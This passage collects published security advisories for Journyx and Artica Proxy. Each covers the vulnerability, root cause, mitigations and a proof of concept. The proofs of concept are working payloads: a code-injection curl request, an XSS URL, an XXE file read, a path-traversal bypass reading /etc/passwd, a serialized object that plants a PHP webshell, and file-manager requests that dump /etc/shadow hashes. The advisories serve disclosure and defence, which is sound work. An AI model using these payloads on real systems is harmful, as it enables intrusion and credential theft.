```python eStr = xor_str(istr, key) aStr = binascii.b2a_base64(eStr).strip() ``` Since the user ID is a known value, only the output of `time.time()` (the epoch at the time of "encryption") is unknown. However, by opening a TCP connection and noting the epoch immediately after sending an HTTP request to initiate the password reset flow, a pool of tokens can be generated by incrementing the epoch. There is a high degree of certainty the valid reset token is contained within a pool larger than 50,000 tokens. Depending upon network latency and other external factors, a successful bruteforce attack using these tokens can take anywhere from several minutes to over an hour. ## Mitigation and Remediation Recommendation The vendor reports that this issue was remediated in Journyx v12.0.0, which is the first wholly cloud-hosted version of this product. For self-hosted versions of Journyx, one incremental improvement is to disable user-initiated password reset functionality in the application settings. 1. Log into the JournyX web application as an administrator 2. Navigate to Configuration -> System Settings -> Security Settings 3. Ensure the checkbox labeled "Show a password reset button on login screen" is disabled. 4. Click the "Save" button Another option would be to monkey patch the .pyc file that contains these hardcoded strings, `./wtdoc.pyc`, by deploying a .py file that uses unique strings and then loads `wtdoc_original.pyc` (see KL-001-2024-008 and KL-001-2024-009 for examples). ## Credit This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc. ## Proof of Concept The following script automatically exploits this issue by initiating a password reset flow and bruteforces the value after generating a list of 50,000 tokens. ```text [attacker@box]$ python unauth2rce.py --url http://redacted.com:8080/ --username foo --command id [*] Beginning Attack. Using the following timestamp: "1706708084.2051988" [+] New Password Generated: 2DCD5AE1F0F34B84A1E0F1FB5768219B ``` --- ## KL-001-2024-008: Journyx Authenticated Remote Code Execution URL: https://korelogic.com/advisories/KL-001-2024-008/ KL-001-2024-008 - Journyx Authenticated Remote Code Execution - CVE-2024-6891 - Journyx Journyx (jtime) Advisory ID: KL-001-2024-008 Published: 2024-08-07 Vendor: Journyx Product: Journyx (jtime) Version: 11.5.4 Platform: GNU/Linux CVE: CVE-2024-6891 CWE: CWE-94 - Improper Control of Generation of Code ('Code Injection') CWE: CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') Discovered by: Jaggar Henry ## References - [CWE-94 - Improper Control of Generation of Code ('Code Injection')](https://cwe.mitre.org/data/definitions/94.html) - [CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')](https://cwe.mitre.org/data/definitions/95.html) - [CVE-2024-6891](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6891) - [Signed advisory text](/advisories/KL-001-2024-008.txt) ## Vulnerability Description Attackers with a valid username and password can exploit a python code injection vulnerability during the natural login flow. ## Technical Description When utilizing a username and password to authenticate to Journyx via the web interface, an HTTP request is sent to `wtlogin.pyc` containing the credentials. Upon a successful login, the user is redirected to `wte.pyc` or the URL specified in the `end_URL` body parameter if one is supplied. An additional condition is present, however. If the `end_URL` value is over 1,000 characters, the value is instead interpolated into a python "import" statement which is passed into the `exec()` function, thereby executing arbitrary code. Code snippet from `wtlogin.pyc`: ```python finalURL = end_URL + '.pyc?' + genlib.URLEncodeParams(params) if len(finalURL) < 1000: raise genlib.HTTP302Found(finalURL) else: exec('import %s; %s.main()' % (end_URL, end_URL)) ``` The `params` variable is derived from the query parameters included in the login request, so the size of `finalURL` is trivial to inflate. ## Mitigation and Remediation Recommendation The vendor reports that this issue was remediated in Journyx v12.0.0, which is the first wholly cloud-hosted version of this product. For self-hosted instances of JournyX, additional security measures (such as input sanitization) can be added by monkey patching the PYC file responsible for handling request parameters (`mycgi.pyc`). 1. Rename `mycgi.pyc` to an alternative name, e.g. `mycgi_original.pyc`. ```bash $ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py ``` 2. Create a file named `mycgi.py` in the same directory. ```bash $ touch wt_tar/pi/pylib/wtlib/mycgi.py ``` 3. Insert the following code into the newly created `mycgi.py` ```python from mycgi_original import * from html import escape def patch(): pdata = _parse() # force the value of "end_URL" to always be "wte" if pdata.get('end_URL'): pdata['end_URL'] = ['wte'] # sanitize user-controlled error messages for parameter in ['error', 'error_description']: if not pdata.get(parameter): continue pdata[parameter] = [escape(value) for value in pdata[parameter]] return pdata _parse = parse parse = patch ``` Once these changes have been made, the JournyX native `mycgi.parse()` function will be overwritten with the `patch()` function located in the `mycgi.py` file. Relevant to this advisory, the patch provided above will force the `end_URL` parameter to always have a value of "wte". ## Credit This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc. ## Proof of Concept By leveraging the existing "web" python module, it is possible to see the output of shell commands as returned by `os.popen()`. ```text [attacker@box]$ HOST='redacted.com'; PORT='8080'; USERNAME='employee'; PASSWORD='password123'; COMMAND='id'; \ curl -x http://localhost:8080 -X POST \ -d "wtusername=$USERNAME&wtpassword=$PASSWORD&end_URL=os,web%0aweb.response.text%3dos.popen('$COMMAND').read()#×tamp=9999999999&pageid=$RANDOM" \ -H 'Cookie: wtsession=foobar' \ "http://$HOST:$PORT/jtcgi/wtlogin.pyc?z=$(printf 'Z%.0s' {1..1000})" uid=1000(foo) gid=1000(foo) groups=1000(foo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare) [attacker@box]$ ``` --- ## KL-001-2024-009: Journyx Reflected Cross Site Scripting URL: https://korelogic.com/advisories/KL-001-2024-009/ KL-001-2024-009 - Journyx Reflected Cross Site Scripting - CVE-2024-6892 - Journyx Journyx (jtime) Advisory ID: KL-001-2024-009 Published: 2024-08-07 Vendor: Journyx Product: Journyx (jtime) Version: 11.5.4 Platform: GNU/Linux CVE: CVE-2024-6892 CWE: CWE-81 - Improper Neutralization of Script in an Error Message Web Page Discovered by: Jaggar Henry ## References - [CWE-81 - Improper Neutralization of Script in an Error Message Web Page](https://cwe.mitre.org/data/definitions/81.html) - [CVE-2024-6892](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6892) - [Signed advisory text](/advisories/KL-001-2024-009.txt) ## Vulnerability Description Attackers can craft a malicious link that once clicked will execute arbitrary JavaScript in the context of the Journyx web application. ## Technical Description During the active directory login flow, if an error occurs, the user is redirected to a page containing an error message outlining the problem. The error message shown in the page response is derived from the `error_description` query parameter that appears in the URL. This parameter is not sanitized or validated prior to being reflected, allowing for an attacker to insert malicious HTML/JavaScript into the `error_description` parameter. This vulnerability can be exploited regardless of whether active directory authentication has been configured for the Journyx instance. ## Mitigation and Remediation Recommendation The vendor reports that this issue was remediated in Journyx v13.0.0. For self-hosted instances of JournyX, additional security measures (such as input sanitization) can be added by monkey patching the PYC file responsible for handling request parameters (`mycgi.pyc`). 1. Rename `mycgi.pyc` to an alternative name, e.g. `mycgi_original.pyc`. ```bash $ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py ``` 2. Create a file named `mycgi.py` in the same directory. ```bash $ touch wt_tar/pi/pylib/wtlib/mycgi.py ``` 3. Insert the following code into the newly created `mycgi.py` ```python from mycgi_original import * from html import escape def patch(): pdata = _parse() # force the value of "end_URL" to always be "wte" if pdata.get('end_URL'): pdata['end_URL'] = ['wte'] # sanitize user-controlled error messages for parameter in ['error', 'error_description']: if not pdata.get(parameter): continue pdata[parameter] = [escape(value) for value in pdata[parameter]] return pdata _parse = parse parse = patch ``` Once these changes have been made, the JournyX native `mycgi.parse()` function will be overwritten with the `patch()` function located in the `mycgi.py` file. Relevant to this advisory, the patch provided above will replace special characters with their respective HTML entity representation for the "error" and "error_description" parameters. This list of parameters can be extended as needed. Additionally, if SSO is not required, requests to /jtcgi/r/adlogin/sso could be dropped without forwarding invoking FastCGI via a ModSecurity rule like the one below: ```text SecRule REQUEST_URI "@contains adlogin/sso" "id:4,phase:2,deny,log,auditlog" ``` ## Credit This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc. ## Proof of Concept The following URL contains the `error_description` parameter with a value of `%3Csvg%2fonload%3dprompt(%27KoreLogic%27)%3E`: ```text http://redacted.com:8080/jtcgi/r/adlogin/sso?code=1337&state=foobar&id_token=zoinks&error_description=%3Csvg%2fonload%3dprompt(%27KoreLogic%27)%3E&error=error ``` This value is automatically URL decoded to `` and reflected into the page response: ```html
Unable to complete sign-on attempt. This is possibly a configuration error in the application registration on the Identity Provider (IdP) side. The IdP server said:

error

``` Once this link is clicked or visited in a browser, the javascript function `prompt()` is executed, and a display box is presented, thereby validating the execution of arbitrary JavaScript. --- ## KL-001-2024-010: Journyx Unauthenticated XML External Entities Injection URL: https://korelogic.com/advisories/KL-001-2024-010/ KL-001-2024-010 - Journyx Unauthenticated XML External Entities Injection - CVE-2024-6893 - Journyx Journyx (jtime) Advisory ID: KL-001-2024-010 Published: 2024-08-07 Vendor: Journyx Product: Journyx (jtime) Version: 11.5.4 Platform: GNU/Linux CVE: CVE-2024-6893 CWE: CWE-611 - Improper Restriction of XML External Entity Reference Discovered by: Jaggar Henry ## References - [CWE-611 - Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html) - [CVE-2024-6893](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6893) - [Signed advisory text](/advisories/KL-001-2024-010.txt) ## Vulnerability Description The `soap_cgi.pyc` API handler allows the XML body of SOAP requests to contain references to external entities. This allows an unauthenticated attacker to read local files, perform server-side request forgery, and overwhelm the web server resources. ## Technical Description From an unauthenticated perspective, a user can send an HTTP request to the `/jtcgi/soap_cgi.pyc` endpoint. The body of the HTTP request is read and processed by the Journyx web server as XML. To process these SOAP requests, the third-party component "SOAPpy" is used. The built-in XML parser for "SOAPpy" is `xml.sax`. According to the `xml.sax` documentation (https://docs.python.org/3/library/xml.sax.html), versions before 3.7.1 enable XML external entities by default. Since Journyx version 11.5.4 ships with python 3.6, the SOAP API endpoint is vulnerable. ## Mitigation and Remediation Recommendation The vendor reports that this issue was remediated in Journyx `v13.0.0`, which is the first wholly cloud-hosted version of this product. For self-hosted versions of Journyx, external entity processing can be disabled by editing the old bundled version of SOAPpy by modifying the `Parser.py` file: ```diff --- Parser.py.orig 2018-11-27 17:26:53.000000000 -0500 +++ Parser.py 2024-06-18 10:56:01.993019226 -0400 @@ -1036,6 +1036,10 @@ # turn on namespace mangeling parser.setFeature(xml.sax.handler.feature_namespaces, 1) + # Disallow external entities, prevent XXE + parser.setFeature(xml.sax.handler.feature_external_ges, 0) + parser.setFeature(xml.sax.handler.feature_external_pes, 0) + try: parser.parse(inpsrc) except xml.sax.SAXParseException as e: ``` Additionally, if API access is not required, requests to `/jtcgi/soap_cgi.pyc` could be dropped without forwarding to FastCGI via a ModSecurity rule like the one below: ```text SecRule REQUEST_URI "@contains soap_cgi" "id:1,phase:2,deny,log,auditlog" ``` ## Credit This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc. ## Proof of Concept The `changeUserPassword` SOAP method will reflect the `username` parameter in the HTTP response if the given username does not exist in the Journyx database. This makes exploitation straight forward, as an external entity can be used as the value of `username` and the dynamic value of the entity is reflected in the page response. ```text [attacker@box]$ python xxe.py --host redacted.com --port 8080 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin ... [attacker@box]$ ``` ```bash [attacker@box]$ HOST='redacted.com'; PORT='8080'; PAYLOAD_TARGET='file:///etc/passwd'; \ curl -X POST --data-binary ']>&test;zzzzzz123' \ -s "http://$HOST:$PORT/jtcgi/soap_cgi.pyc" | awk '/incorrect or invalid password for user /{flag=1;next}/<\/faultstring>/{flag=0}flag' daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin ... [attacker@box]$ ``` --- ## KL-001-2024-001: Artica Proxy Unauthenticated LFI Protection Bypass Vulnerability URL: https://korelogic.com/advisories/KL-001-2024-001/ KL-001-2024-001 - Artica Proxy Unauthenticated LFI Protection Bypass Vulnerability - CVE-2024-2053 - Artica Artica Proxy Advisory ID: KL-001-2024-001 Published: 2024-03-05 Vendor: Artica Product: Artica Proxy Version: 4.40 and 4.50 Platform: Debian 10 LTS CVE: CVE-2024-2053 CWE: CWE-23 - Relative Path Traversal Discovered by: Jaggar Henry ## References - [CWE-23 - Relative Path Traversal](https://cwe.mitre.org/data/definitions/23.html) - [CVE-2024-2053](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-2053) - [Signed advisory text](/advisories/KL-001-2024-001.txt) ## Vulnerability Description The Artica Proxy administrative web application attempts to prevent local file inclusion. These protections can be bypassed and arbitrary file requests supplied by unauthenticated users will be returned according to the privileges of the "www-data" user. ## Technical Description Prior to authentication, a user can send an HTTP request to the `images.listener.php` endpoint. This endpoint processes the `mailattach` query parameter and concatenates the user supplied value to the `/opt/artica/share/www/attachments/` file path. The contents of the file located at the newly created path is returned in the HTTP response body. The `images.listener.php` endpoint attempts to prevent a local file inclusion vulnerability by stripping strings that attempt to traverse into the parent directory from the user supplied `mailattach` value: ```php $_GET["mailattach"]=str_replace("////","/",$_GET["mailattach"]); $_GET["mailattach"]=str_replace("///","/",$_GET["mailattach"]); $_GET["mailattach"]=str_replace("//","/",$_GET["mailattach"]); $_GET["mailattach"]=str_replace("../","",$_GET["mailattach"]); $_GET["mailattach"]=str_replace("/etc/","",$_GET["mailattach"]); $_GET["mailattach"]=str_replace("passwd","",$_GET["mailattach"]); $file="/opt/artica/share/www/attachments/{$_GET["mailattach"]}"; header("Content-type: application/force-download" ); header("Content-Disposition: attachment; \ filename=\"{$_GET["mailattach"]}\""); header("Content-Length: ".filesize($file)."" ); header("Expires: 0" ); readfile($file); ``` If effective, this approach would limit files accessible by this endpoint to those within the "/opt/artica/share/www/attachments/" directory. Unfortunately, the removal of the `../` string is only performed once, so the resulting file path is not checked. By using the path `..././foo.txt`, the `images.listener.php` endpoint removes the `../` string resulting in `../foo.txt` - a relative file path to traverse to the parent directory. The strings "/etc/" and "passwd" are also stripped from the file path as many methods of detecting a path traversal vulnerability rely on fetching the "/etc/passwd" file. By inserting these strings into specific locations, a user suppplied "mailattach" value such as "/epasswdtc/ppasswdasswd" is transformed into "/etc/passwd", bypassing the protection entirely. An unauthenticated user can leverage this endpoint to read files on the system, according to the privileges of the "www-data" user. ## Mitigation and Remediation Recommendation No response from vendor; no remediation available. ## Credit This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc. ## Proof of Concept ```bash $ curl -k 'https://192.168.2.129:9000/images.listener.php?uri=1&mailattach=..././..././..././..././..././epasswdtc/ppasswdasswd' root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin mysql:x:105:112:MySQL Server,,,:/nonexistent:/bin/false quagga:x:106:114:Quagga routing suite,,,:/run/quagga/:/usr/sbin/nologin apt-mirror:x:107:115::/var/spool/apt-mirror:/bin/sh privoxy:x:108:65534::/etc/privoxy:/usr/sbin/nologin ntp:x:109:117::/nonexistent:/usr/sbin/nologin redsocks:x:110:118::/var/run/redsocks:/usr/sbin/nologin prads:x:111:120::/home/prads:/usr/sbin/nologin freerad:x:112:121::/etc/freeradius:/usr/sbin/nologin vnstat:x:113:122:vnstat daemon,,,:/var/lib/vnstat:/usr/sbin/nologin stunnel4:x:114:123::/var/run/stunnel4:/usr/sbin/nologin sshd:x:115:65534::/run/sshd:/usr/sbin/nologin vde2-net:x:116:124::/var/run/vde2:/usr/sbin/nologin memcache:x:117:125:Memcached,,,:/nonexistent:/bin/false davfs2:x:118:126::/var/cache/davfs2:/usr/sbin/nologin ziproxy:x:119:127::/var/run/ziproxy:/usr/sbin/nologin proftpd:x:120:65534::/run/proftpd:/usr/sbin/nologin ftp:x:121:65534::/srv/ftp:/usr/sbin/nologin mosquitto:x:122:128::/var/lib/mosquitto:/usr/sbin/nologin openldap:x:123:129:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false munin:x:124:130:munin application user,,,:/var/lib/munin:/usr/sbin/nologin msmtp:x:125:131::/var/lib/msmtp:/usr/sbin/nologin Debian-snmp:x:126:132::/var/lib/snmp:/bin/false opendkim:x:127:133::/var/run/opendkim:/usr/sbin/nologin avahi:x:128:134:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin glances:x:129:135::/var/lib/glances:/usr/sbin/nologin ArticaStats:x:1000:1000:ArticaStats:/home/ArticaStats:/bin/bash Debian-exim:x:130:138::/var/spool/exim4:/usr/sbin/nologin smokeping:x:131:139:SmokePing daemon,,,:/var/lib/smokeping:/usr/sbin/nologin debian-spamd:x:132:140::/var/lib/spamassassin:/bin/sh netdata:x:1001:1002:netdata:/home/netdata:/bin/bash postfix:x:1002:1001::/home/postfix:/bin/sh ... ... ``` --- ## KL-001-2024-002: Artica Proxy Unauthenticated PHP Deserialization Vulnerability URL: https://korelogic.com/advisories/KL-001-2024-002/ KL-001-2024-002 - Artica Proxy Unauthenticated PHP Deserialization Vulnerability - CVE-2024-2054 - Artica Artica Proxy Advisory ID: KL-001-2024-002 Published: 2024-03-05 Vendor: Artica Product: Artica Proxy Version: 4.50 Platform: Debian 10 LTS CVE: CVE-2024-2054 CWE: CWE-502 - Deserialization of Untrusted Data Discovered by: Jaggar Henry ## References - [CWE-502 - Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html) - [CVE-2024-2054](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-2054) - [Signed advisory text](/advisories/KL-001-2024-002.txt) ## Vulnerability Description The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the "www-data" user. ## Technical Description Prior to authentication, a user can send an HTTP request to the `/wizard/wiz.wizard.progress.php` endpoint. This endpoint processes the `build-js` query parameter by base64 decoding the provided value and then calling the `unserialize` PHP function with the decoded value as input. Code snippet from `wiz.wizard.progress.php`: ```php if(isset($_GET["build-js"])){buildjs();exit;} ... $ARRAY=unserialize(base64_decode($_GET["build-js"])); ``` To exploit this vulnerability, a user can leverage the installed `Net_DNS2` library autoloader to instantiate the `Net_DNS2_Cache_File` class. The `__destruct` method within this class will write to arbitrary files defined by the class: ```php public function __destruct() { // // if there's no cache file set, then there's nothing to do // if (strlen($this->cache_file) == 0) { return; } // // open the file for reading/writing // $fp = fopen($this->cache_file, 'a+'); if ($fp !== false) { ... if (!is_null($data)) { // // write the file contents // fwrite($fp, $data); } ``` An unauthenticated user can overwrite existing files and insert a webshell to execute malicious PHP as the "www-data" user. ## Mitigation and Remediation Recommendation No response from vendor. This vulnerability can be remediated by deleting the 'usr/share/artica-postfix/wizard' directory if it is not needed. Otherwise, move it to a location outside of the web root. ## Credit This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc. ## Proof of Concept To overwrite the `wiz.upload.php` file to contain a PHP webshell, the following serialized object can be base64 encoded and submitted via the `build-js` query parameter: ```text O:19:"Net_DNS2_Cache_File":4:{s:10:"cache_file";s:47:"/usr/share/artica-postfix/wizard/wiz.upload.php";s:16:"cache_serializer";s:4:"json";s:10:"cache_size";i:9999999999;s:10:"cache_data";a:1:{s:30:"";a:2:{s:10:"cache_date";i:0;s:3:"ttl";i:9999999999;}}} ``` ```bash $ ARTICA_URL="https://127.0.0.1:9000"; PAYLOAD_CMD="id"; curl -k "$ARTICA_URL/wizard/wiz.wizard.progress.php?build-js=TzoxOToiTmV0X0ROUzJfQ2FjaGVfRmlsZSI6NDp7czoxMDoiY2FjaGVfZmlsZSI7czo0NzoiL3Vzci9zaGFyZS9hcnRpY2EtcG9zdGZpeC93aXphcmQvd2l6LnVwbG9hZC5waHAiO3M6MTY6ImNhY2hlX3NlcmlhbGl6ZXIiO3M6NDoianNvbiI7czoxMDoiY2FjaGVfc2l6ZSI7aTo5OTk5OTk5OTk5O3M6MTA6ImNhY2hlX2RhdGEiO2E6MTp7czozMDoiPD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2bIjthOjI6e3M6MTA6ImNhY2hlX2RhdGUiO2k6MDtzOjM6InR0bCI7aTo5OTk5OTk5OTk5O319fQ%3d%3d" && curl -k "$ARTICA_URL/wizard/wiz.upload.php?cmd=$PAYLOAD_CMD"; {"uid=33(www-data) gid=33(www-data) groups=33(www-data) ":{"cache_date":1696883506,"ttl":8303116493}} ``` --- ## KL-001-2024-003: Artica Proxy Unauthenticated File Manager Vulnerability URL: https://korelogic.com/advisories/KL-001-2024-003/ KL-001-2024-003 - Artica Proxy Unauthenticated File Manager Vulnerability - CVE-2024-2055 - Artica Artica Proxy Advisory ID: KL-001-2024-003 Published: 2024-03-05 Vendor: Artica Product: Artica Proxy Version: 4.40 and 4.50 Platform: Debian 10 LTS CVE: CVE-2024-2055 CWE: CWE-288 - Authentication Bypass Using an Alternate Path or Channel CWE: CWE-552 - Files or Directories Accessible to External Parties Discovered by: Jim Becher ## References - [CWE-288 - Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html) - [CWE-552 - Files or Directories Accessible to External Parties](https://cwe.mitre.org/data/definitions/552.html) - [CVE-2024-2055](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-2055) - [Signed advisory text](/advisories/KL-001-2024-003.txt) ## Vulnerability Description The "Rich Filemanager" feature of Artica Proxy provides a web-based interface for file management capabilities. When the feature is enabled, it does not require authentication by default, and runs as the root user. ## Technical Description The Artica Proxy can be installed with a small amount of "Features" enabled. Within the administrative web interface, additional features can be installed, enabled, and disabled. The "Rich Filemanager" feature is disabled by default. Enabling this feature will spawn a listener on port `5000/tcp` bound to `0.0.0.0`. By default, when this feature is enabled, authentication is not required to access the web interface. The "Rich Filemanager" runs as the root user. This provides an unauthenticated attacker complete access to the file system. ```text root@artica:~# ps -efww | grep -i File root 1888 1885 0 09:13 ? 00:00:00 php-fpm: pool RICHFILEMANAGER root 1889 1885 0 09:13 ? 00:00:00 php-fpm: pool RICHFILEMANAGER ``` This can be exploited by an attacker to add entries in to `/etc/shadow`, `/etc/passwd`, and `/etc/ssh/sshd_config` to create an additional root-level account that has the ability to SSH in to the system. ## Mitigation and Remediation Recommendation No response from vendor. Rich Filemanager feature is disabled by default. Leave it that way. ## Credit This vulnerability was discovered by Jim Becher of KoreLogic, Inc. ## Proof of Concept Step 1: Move `/etc/shadow` to `/tmp/shadow` ```bash $ curl -s -k -X $'GET' -H $'Host: 192.168.2.139:5000' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'Connection: close' $'http://192.168.2.139:5000/connectors/php/filemanager.php?time=1700885542096&mode=move&old=%2Fetc%2Fshadow&new=%2Ftmp%2F&_=1700868631198' ``` ```text {"data":{"id":"\/tmp\/shadow","type":"file","attributes":{"name":"shadow","path":"\/tmp\/shadow","readable":1,"writable":1,"created":"","modified":"24 Nov 2023 15:55","timestamp":1700862914,"height":0,"width":0,"size":"2037"}}} ``` Step 2: Download `/tmp/shadow` ```bash $ curl -s -k -X $'GET' -H $'Host: 192.168.2.139:5000' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'Pragma: no-cache' -H $'Cache-Control: no-cache' $'http://192.168.2.139:5000/connectors/php/filemanager.php?mode=download&path=%2Ftmp%2Fshadow&time=1700885590870' ``` ```text root:$6$Pvb1ivrg5oo.a/om$xtRvfpBBSZgPt/fDjHzw9k9e.jxWaY.LPOqnqHJcSBuQMxtjtG6pBBMMf1Z6D4jtN6kDSB3h5FufJ9DuXv.7R0:19507:0:99999:7::: daemon:*:19507:0:99999:7::: bin:*:19507:0:99999:7::: sys:*:19507:0:99999:7::: sync:*:19507:0:99999:7::: games:*:19507:0:99999:7::: man:*:19507:0:99999:7::: lp:*:19507:0:99999:7::: mail:*:19507:0:99999:7::: news:*:19507:0:99999:7::: uucp:*:19507:0:99999:7::: proxy:*:19507:0:99999:7::: www-data:*:19507:0:99999:7::: backup:*:19507:0:99999:7::: list:*:19507:0:99999:7::: irc:*:19507:0:99999:7::: gnats:*:19507:0:99999:7::: nobody:*:19507:0:99999:7::: _apt:*:19507:0:99999:7::: systemd-timesync:*:19507:0:99999:7::: systemd-network:*:19507:0:99999:7::: systemd-resolve:*:19507:0:99999:7::: messagebus:*:19507:0:99999:7::: quagga:*:19507:0:99999:7::: apt-mirror:*:19507:0:99999:7::: privoxy:*:19507:0:99999:7::: ntp:*:19507:0:99999:7::: redsocks:!:19507:0:99999:7::: prads:*:19507:0:99999:7::: freerad:*:19507:0:99999:7::: vnstat:*:19507:0:99999:7::: stunnel4:!:19507:0:99999:7::: sshd:*:19507:0:99999:7::: vde2-net:*:19507:0:99999:7::: memcache:!:19507:0:99999:7::: davfs2:*:19507:0:99999:7::: ziproxy:!:19507:0:99999:7::: proftpd:!:19507:0:99999:7::: ftp:*:19507:0:99999:7::: mosquitto:*:19507:0:99999:7::: openldap:!:19507:0:99999:7::: munin:*:19507:0:99999:7::: msmtp:*:19507:0:99999:7::: Debian-snmp:!:19507:0:99999:7::: opendkim:*:19507:0:99999:7::: avahi:*:19507:0:99999:7::: glances:*:19507:0:99999:7::: ArticaStats:!:19507:0:99999:7::: netdata:!:19507:0:99999:7::: mysql:!:19507:0:99999:7::: postfix:!:19507:0:99999:7::: squid:!:19507:0:99999:7::: smokeping:!:19507:0:99999:7::: unbound:!:19645:0:99999:7::: ``` Step 3: Move `/tmp/shadow` back to `/etc/shadow` as not to create a DoS condition ```bash $ curl -s -k -X $'GET' -H $'Host: 192.168.2.139:5000' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'Connection: close' $'http://192.168.2.139:5000/connectors/php/filemanager.php?time=1700885798719&mode=move&old=%2Ftmp%2Fshadow&new=%2Fetc%2F&_=1700868631208' ``` ```text {"data":{"id":"\/etc\/shadow","type":"file","attributes":{"name":"shadow","path":"\/etc\/shadow","readable":0,"writable":1,"created":"","modified":"24 Nov 2023 15:55","timestamp":1700862914,"height":0,"width":0,"size":0}}} ``` --- ## KL-001-2024-004: Artica Proxy Loopback Services Remotely Accessible Unauthenticated URL: https://korelogic.com/advisories/KL-001-2024-004/ KL-001-2024-004 - Artica Proxy Loopback Services Remotely Accessible Unauthenticated - CVE-2024-2056 - Artica Artica Proxy Advisory ID: KL-001-2024-004 Published: 2024-03-05 Vendor: Artica Product: Artica Proxy Version: 4.50 Platform: Debian 10 LTS CVE: CVE-2024-2056 CWE: CWE-288 - Authentication Bypass Using an Alternate Path or Channel CWE: CWE-552 - Files or Directories Accessible to External Parties Discovered by: Jim Becher, Jaggar Henry ## References - [CWE-288 - Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html) - [CWE-552 - Files or Directories Accessible to External Parties](https://cwe.mitre.org/data/definitions/552.html) - [CVE-2024-2056](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-2056) - [Signed advisory text](/advisories/KL-001-2024-004.txt) ## Vulnerability Description Services that are running and bound to the loopback interface on the Artica Proxy are accessible through the proxy service. In particular, the "tailon" service is running as the root user, is bound to the loopback interface, and is 